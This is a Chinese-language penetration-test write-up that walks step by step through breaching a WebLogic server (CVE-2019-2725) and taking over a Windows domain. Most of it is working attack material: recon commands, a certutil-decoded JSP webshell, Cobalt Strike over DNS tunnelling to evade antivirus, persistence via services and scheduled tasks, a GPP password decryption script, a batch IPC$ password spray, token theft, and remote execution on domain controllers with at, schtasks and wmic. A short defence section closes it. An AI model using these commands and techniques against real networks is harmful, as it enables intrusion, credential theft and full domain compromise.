一次真实内网渗透
字数 1367 2025-08-06 08:35:44

内网渗透实战教学文档

1. 前期准备与打点

1.1 目标识别

  • 目标外网IP: wip1
  • 发现WebLogic服务: 访问http://wip1/并添加随意路径确认

1.2 初始入侵

  • 利用WebLogic漏洞CVE-2019-2725成功获取初始访问权限
  • 获取SYSTEM权限后开始信息收集

2. 信息收集

2.1 基础信息收集

ipconfig /all  # 发现域: gxxxxxxxxx.com
whoami /all    # 确认当前权限为SYSTEM
net user /domain  # 查看域用户
net group "domain admins" /domain  # 查看域管理员(发现administrator)
net group "domain computers" /domain  # 查看域内主机名
net group "domain controllers" /domain  # 查看域控主机名
ping 域控主机名  # 获取3台域控的IP

2.2 环境分析

tasklist  # 查看进程(发现卡巴斯基杀毒软件)
netstat -ano  # 查看端口开放情况
arp -a  # 推测内网IP段和存活主机
query user || qwinsta  # 查看当前登录用户(wip1/administrator登录中)

2.3 网络拓扑发现

  • 当前主机内网IP: 192.xx.xx.x5
  • 发现两个内网段: 10.xx.xx.xx和192.xx.xx.xx
  • 域控IP:
    • 192.xx.xx.x3
    • 192.xx.xx.x2
    • 10.xx.xx.x2

3. 权限维持与C2上线

3.1 绕过杀软与持久化

  • 使用base64编码写入JSP马(哥斯拉)
  • 使用certutil解码:
Certutil -decode a.txt a.jsp

3.2 Cobalt Strike上线

  • 挑战: 存在卡巴斯基且机器可能无法出网
  • 解决方案:
    • DNS隧道
    • 加载器加载加密的shellcode

DNS配置:

  1. 购买域名并添加DNS记录
  2. CS中配置Stageless的shellcode(避免上线慢或失败)

3.3 持久化技术

# 创建自启动服务
sc create "xxx" binpath= "cmd /c start "C:/windows/temp/xxx.bat"" && sc config "xxx" start= auto && net start xxx

# 创建定时任务(每周运行一次)
schtasks /create /tn "xxx" /tr "C:/windows/temp/xxx.bat" /sc weekly /mo 1 /ru system
schtasks /run /tn "xxx"

4. 横向移动技术

4.1 密码信息收集

# 查找GPP中的密码
dir \\域名\sysvol\域名\
findstr /s /i /m /c:"password" \\域名\SYSVOL\域名\Policies*.xml

# 查看加密密码并解密(使用Python脚本)

GPP密码解密脚本:

import sys
from Crypto.Cipher import AES
from base64 import b64decode

key = """
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b
""".replace(" ","").replace("\n","").decode('hex')
cpassword = "加密的字符串"
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password)
print o[:-ord(o[-1])].decode('utf16')

4.2 其他凭证收集

  • 使用loagonpasswords抓取本地administrator密码
  • 数据库账号密码、RDP登录凭证、浏览器密码(未尝试)

4.3 主机发现技术

  1. 通过domain computers组获取主机名 + ping
  2. 通过SPN获取主机名:
setspn -t /domain -q */* > spn.txt

4.4 横向渗透实战

  1. 批量尝试IPC$连接:
for /L %I in (1,1,254) do @net use \192.xx.xx.%I\ipc$ "密码" /user:administrator
  1. 查找有管理员登录的主机:
tasklist /s ip /v
  1. 发现目标主机192.xx.xx.x0:

    • 有域管进程
    • 存在卡巴斯基
  2. 手动横向技术:

    • 进程注入获取本地管理员权限
    • 令牌窃取获取本地管理员权限
    • 复制shellcode和加载器到目标主机
    • 使用at定时任务上线:
net time \\ip2  # 查看远程主机时间
at time \ip 12:57 xxx.bat
  1. 替代方案(当at不可用时):
schtasks /create /F /s 192.xx.xx.x0 /u administrator /p "密码" /tn test /tr "c:\windows\temp\xxxxx.bat" /sc DAILY /mo 1 /st 13:20

5. 域控攻陷

5.1 获取域管理员权限

  • 通过令牌窃取获取域管理员权限: gxxxxxxxxxxx\administrator

5.2 攻击域控

  1. 使用WMIC执行命令:
wmic /node:192.xx.xx.x3 process call create "cmd.exe /c whoami>f:\xxx\xxx\result.txt"
  1. 复制并执行payload:
wmic /node:192.xx.xx.x3 process call create "cmd.exe /c f:\xx\xxx\xx.bat"

5.3 其他技术

  • 使用frp访问内网web服务
  • 发现弱口令并设置域策略

6. 关键要点总结

  1. 初始入侵:

    • WebLogic漏洞利用(CVE-2019-2725)
    • 快速获取SYSTEM权限
  2. 绕过杀软:

    • DNS隧道
    • 加密shellcode加载器
    • 多种持久化技术(服务、计划任务)
  3. 信息收集:

    • 全面的域环境信息收集
    • GPP密码查找与解密
    • 多维度主机发现技术
  4. 横向移动:

    • 多种横向技术组合使用(at、schtasks、wmic)
    • 根据环境灵活调整策略(杀软存在时)
  5. 域控攻陷:

    • 令牌窃取快速获取域管权限
    • 多种远程执行技术确保成功率
  6. 隐蔽性:

    • 使用云函数做中转隐藏C2
    • 多种通信方式组合(DNS、HTTP)

7. 防御建议

  1. 修补漏洞:

    • 及时更新WebLogic等中间件
  2. 权限控制:

    • 限制域管理员登录范围
    • 实施最小权限原则
  3. 监控措施:

    • 监控异常计划任务创建
    • 监控WMIC等工具的异常使用
  4. 密码安全:

    • 定期更换密码
    • 删除GPP中的密码策略
  5. 杀毒软件:

    • 保持杀毒软件更新
    • 监控绕过行为
  6. 网络分段:

    • 实施严格的网络分段
    • 监控异常内网流量
内网渗透实战教学文档 1. 前期准备与打点 1.1 目标识别 目标外网IP: wip1 发现WebLogic服务: 访问http://wip1/并添加随意路径确认 1.2 初始入侵 利用WebLogic漏洞CVE-2019-2725成功获取初始访问权限 获取SYSTEM权限后开始信息收集 2. 信息收集 2.1 基础信息收集 2.2 环境分析 2.3 网络拓扑发现 当前主机内网IP: 192.xx.xx.x5 发现两个内网段: 10.xx.xx.xx和192.xx.xx.xx 域控IP: 192.xx.xx.x3 192.xx.xx.x2 10.xx.xx.x2 3. 权限维持与C2上线 3.1 绕过杀软与持久化 使用base64编码写入JSP马(哥斯拉) 使用certutil解码: 3.2 Cobalt Strike上线 挑战: 存在卡巴斯基且机器可能无法出网 解决方案: DNS隧道 加载器加载加密的shellcode DNS配置: 购买域名并添加DNS记录 CS中配置Stageless的shellcode(避免上线慢或失败) 3.3 持久化技术 4. 横向移动技术 4.1 密码信息收集 GPP密码解密脚本: 4.2 其他凭证收集 使用loagonpasswords抓取本地administrator密码 数据库账号密码、RDP登录凭证、浏览器密码(未尝试) 4.3 主机发现技术 通过domain computers组获取主机名 + ping 通过SPN获取主机名: 4.4 横向渗透实战 批量尝试IPC$连接: 查找有管理员登录的主机: 发现目标主机192.xx.xx.x0: 有域管进程 存在卡巴斯基 手动横向技术: 进程注入获取本地管理员权限 令牌窃取获取本地管理员权限 复制shellcode和加载器到目标主机 使用at定时任务上线: 替代方案(当at不可用时): 5. 域控攻陷 5.1 获取域管理员权限 通过令牌窃取获取域管理员权限: gxxxxxxxxxxx\administrator 5.2 攻击域控 使用WMIC执行命令: 复制并执行payload: 5.3 其他技术 使用frp访问内网web服务 发现弱口令并设置域策略 6. 关键要点总结 初始入侵 : WebLogic漏洞利用(CVE-2019-2725) 快速获取SYSTEM权限 绕过杀软 : DNS隧道 加密shellcode加载器 多种持久化技术(服务、计划任务) 信息收集 : 全面的域环境信息收集 GPP密码查找与解密 多维度主机发现技术 横向移动 : 多种横向技术组合使用(at、schtasks、wmic) 根据环境灵活调整策略(杀软存在时) 域控攻陷 : 令牌窃取快速获取域管权限 多种远程执行技术确保成功率 隐蔽性 : 使用云函数做中转隐藏C2 多种通信方式组合(DNS、HTTP) 7. 防御建议 修补漏洞 : 及时更新WebLogic等中间件 权限控制 : 限制域管理员登录范围 实施最小权限原则 监控措施 : 监控异常计划任务创建 监控WMIC等工具的异常使用 密码安全 : 定期更换密码 删除GPP中的密码策略 杀毒软件 : 保持杀毒软件更新 监控绕过行为 网络分段 : 实施严格的网络分段 监控异常内网流量